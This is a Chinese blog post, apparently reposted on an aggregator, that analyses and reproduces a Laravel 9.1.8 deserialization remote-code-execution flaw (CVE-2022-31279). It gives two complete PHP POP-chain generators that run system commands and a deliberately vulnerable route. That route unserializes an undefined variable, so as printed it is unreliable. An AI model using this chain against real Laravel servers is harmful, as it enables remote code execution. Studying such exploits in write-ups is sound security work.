Laravel 9.1.8 反序列化漏洞分析及复现

这篇具有很好参考价值的文章主要介绍了Laravel 9.1.8 反序列化漏洞分析及复现。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

反序列化漏洞是如今很常见的漏洞类型,有很多分类,也有很多绕过方式。本文选取了一个今年比较典型的反序列化漏洞,进行了一个分析并复现。

漏洞详情

Laravel是一套简洁、优雅的PHP Web开发框架。
近日,Laravel 被披露存在多个安全漏洞,可允许通过反序列化POP链实现远程代码执行,如下:

CVE-2022-31279:Laravel远程代码执行漏洞
Laravel 9.1.8在处理反序列化数据时,允许通过 IlluminateBroadcastingPendingBroadcast.php中的 __destructFakerGenerator.php中的 __call中的反序列化POP链实现远程代码执行。

漏洞分析

根据漏洞信息的描述, 跟进src/Illuminate/Broadcasting/PendingBroadcast.php中的__destruct方法, 可以看到这里的$this->events$this->event均为可控的, 寻找可用的dispatch方法:
Laravel 9.1.8 反序列化漏洞分析及复现
Laravel 9.1.8 反序列化漏洞分析及复现
跟进src/Illuminate/Bus/Dispatcher.php中的dispatch方法, 这里的$command$this->queueResolver均是可控的:
Laravel 9.1.8 反序列化漏洞分析及复现
跟进dispatchToQueue方法, $command$this->queueResolver均是可控的, 可以利用该方法中的call_user_func方法来进行命令执行的利用:
Laravel 9.1.8 反序列化漏洞分析及复现
接下来就是命令执行的语句, 注意到上图中的代码$connection = $command->connection ?? null;, 这里可以通过src/Illuminate/Broadcasting/BroadcastEvent.php中的类中变量来控制$connection, 从而达到命令执行的目的。

POP Chain

<?php

namespace Illuminate\Contracts\Queue{

    interface ShouldQueue {}
}

namespace Illuminate\Bus{

    class Dispatcher{
        protected $container;
        protected $pipeline;
        protected $pipes = [];
        protected $handlers = [];
        protected $queueResolver;
        function __construct()
        {
            $this->queueResolver = "system";

        }
    }
}

namespace Illuminate\Broadcasting{

    use Illuminate\Contracts\Queue\ShouldQueue;

    class BroadcastEvent implements ShouldQueue {
        function __construct() {}
    }

    class PendingBroadcast{
        protected $events;
        protected $event;
        function __construct() {
            $this->event = new BroadcastEvent();
            $this->event->connection = "calc";
            $this->events = new \Illuminate\Bus\Dispatcher();
        }
    }
}

namespace {
    $pop = new \Illuminate\Broadcasting\PendingBroadcast();
    echo base64_encode(serialize($pop));
}

漏洞复现

我们从laravel官网下载了Laravel 9.1.8的源码之后,添加一个入口,修改routes\web.php如下:

<?php

use Illuminate\Support\Facades\Route;

/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/

Route::get('/', function (\Illuminate\Http\Request $request) {

    $vuln = base64_decode($request->input("vuln"));
    unserialize($ser);
    return "H3rmesk1t";
});

添加了入口之后,通过上面的分析和得到的POP链,即可进行复现:
Laravel 9.1.8 反序列化漏洞分析及复现

相同漏洞的复现

本次复现,源码来源于cj师傅之前出题所用的源码和2022NepCTF的题目:

下载源码后,是Laravel框架:
Laravel 9.1.8 反序列化漏洞分析及复现
Laravel 9.1.8 反序列化漏洞分析及复现

hello路由是一个反序列化点
可以用POP链:

<?php
namespace Illuminate\Contracts\Queue{
  interface ShouldQueue {}
}
namespace Illuminate\Bus{
  class Dispatcher{
    protected $container;
    protected $pipeline;
    protected $pipes = [];
    protected $handlers = [];
    protected $queueResolver;
    function __construct()
    {
        $this->queueResolver = "system";
    }
  }
}
namespace Illuminate\Broadcasting{
  use Illuminate\Contracts\Queue\ShouldQueue;
  class BroadcastEvent implements ShouldQueue {
    function __construct() {}
  }
  class PendingBroadcast{
    protected $events;
    protected $event;
    function __construct() {
        $this->event = new BroadcastEvent();
        $this->event->connection = "cat /flag";
        $this->events = new \Illuminate\Bus\Dispatcher();
    }
  }
}
namespace {
  $pop = new \Illuminate\Broadcasting\PendingBroadcast();
  echo base64_encode(serialize($pop));
}

可以得到结果:

Laravel 9.1.8 反序列化漏洞分析及复现
Laravel 9.1.8 反序列化漏洞分析及复现
因此复现成功!文章来源地址https://www.toymoban.com/news/detail-459320.html

到了这里,关于Laravel 9.1.8 反序列化漏洞分析及复现的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • TP 5.0.24反序列化漏洞分析

    很久没发过文章了,最近在研究审计链条相关的东西,codeql,ast,以及一些java的东西很多东西还是没学明白就先不写出来丢人了,写这篇tp的原因呢 虽然这个漏洞的分析文章蛮多了,但是还是跟着看了下,一方面是因为以前对pop链挖掘一直学的懵懵懂懂的 ctf的一些pop链能出

    2024年01月17日
    浏览(41)
  • Java反序列化漏洞-URLDNS链分析

    目录 一、前置知识 反射 二、分析 1. URL 2. HashMap 3. 解决一些问题 反射修改字段值 三、POC 四、利用链 菜鸟教程 Java 序列化 Java安全-反射 URLDNS链的作用就是在目标主机中可能存在反序列化输入的数据的地方,传入序列化后的URLDNS利用链,如果目标主机解析了这个URL地址,那么

    2024年02月04日
    浏览(49)
  • fastjson 1.2.24 反序列化漏洞(审计分析)

    环境 JDK 8u181 Fastjson 1.2.24 POC 跟进 parse 方法 跟进到底层deserialze 方法 Poc 中传入的 dataSourceName : ldap://192.168.3.229:8084/vnSYPYwMs 值 这里实际对应 setDataSourceName 方法,调用此方法并传入 ldap 跟进 setDataSourceName 方法,这里只是简单赋值   步出回此方法 继续步出,进入parseRest方法 跟进

    2023年04月14日
    浏览(41)
  • thinkphp5.0.24反序列化漏洞分析

    thinkphp5框架: thinkphp5的入口文件在 publicindex.php ,访问 反序列化起点 写一个反序列化入口点 全局搜索 __destruct() 函数 thinkphp_5.0.24thinkphplibrarythinkprocesspipesWindows.php 中的 __destruct() 函数,调用了removeFiles() 跟进removeFiles(),第163行的file_exists可以触发 __toString 方法 全局搜索

    2023年04月08日
    浏览(41)
  • Java反序列化漏洞-CC1利用链分析

    目录 一、前置知识 1. 反射 2. Commons Collections是什么 3. 环境准备 二、分析利用链 1. Transformer 2. InvokeTransformer 执行命令 3. ConstantTransformer 4. ChainedTransformer 执行命令 5. TransformedMap 6. AbstractInputCheckedMapDecorator 7. AnnotationInvocationHandler 三、编写POC 1. ChainedTransformer 2. decorate 3. Annotatio

    2024年02月04日
    浏览(43)
  • 反序列化漏洞及漏洞复现

    问题 :为什么要序列化? 序列化,“将对象的状态信息转换为可以存储或传输的形式的过程”,这种形式大多为字节流、字符串、Json 串。在序列化期间内,将对象当前状态写⼊到临时或永久性的存储区。以后,就可以通过从存储区中读取或还原(反序列化)对象的状态,重

    2024年02月09日
    浏览(45)
  • typecho 反序列化漏洞复现

    下载typecho14.10.10  安装,这里需要安装数据库  POC.php  POST数据包如下,访问install.php并携带参数finish,Referer来自本网站,POST传递恶意参数 步骤和前面一样,把payload放__typecho_config=就行

    2024年02月09日
    浏览(50)
  • 漏洞复现——shiro反序列化

    今天咱们的主角是shiro反序列化命令执行漏洞。该漏洞在HVV等大型攻防项目中,经常被作为突破口。简单介绍了解一下还是很有必要的。废话不多说,进入正题。 一、漏洞描述: Apache Shiro是美国阿帕奇(Apache)软件基金会的一套用于执行认证、授权、加密和会话管理的Java安

    2024年02月09日
    浏览(39)
  • ActiveMQ反序列化漏洞原理+复现

    ActiveMQ反序列化漏洞 ActiveMQ ActiveMQ是开源消息总线,消息中间件 工作原理 通过使用消息队列,实现服务的异步处理,主要目的是减少请求响应时间和解耦合。 消息队列,服务器A将客户发起的请求放入服务器B的消息队列中,服务器B从消息队列中取出并处理。 从以上内容中可

    2024年02月05日
    浏览(57)
  • Fastjson反序列化漏洞复现小结

    简单来说:Fastjson是解析JSON格式的字符串的,允许用户在输入JSON串时通过“@type”键对应的value指定任意反序列化类名,进而执行类里的恶意代码。 1、Fastjson1.2.24远程代码执行(CNVD-2017-02833 ) 2、Fastjson=1.2.47远程代码执行漏洞(CNVD-2019-22238) 3、Fstjson =1.2.60 远程代码执行漏洞

    2023年04月08日
    浏览(46)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包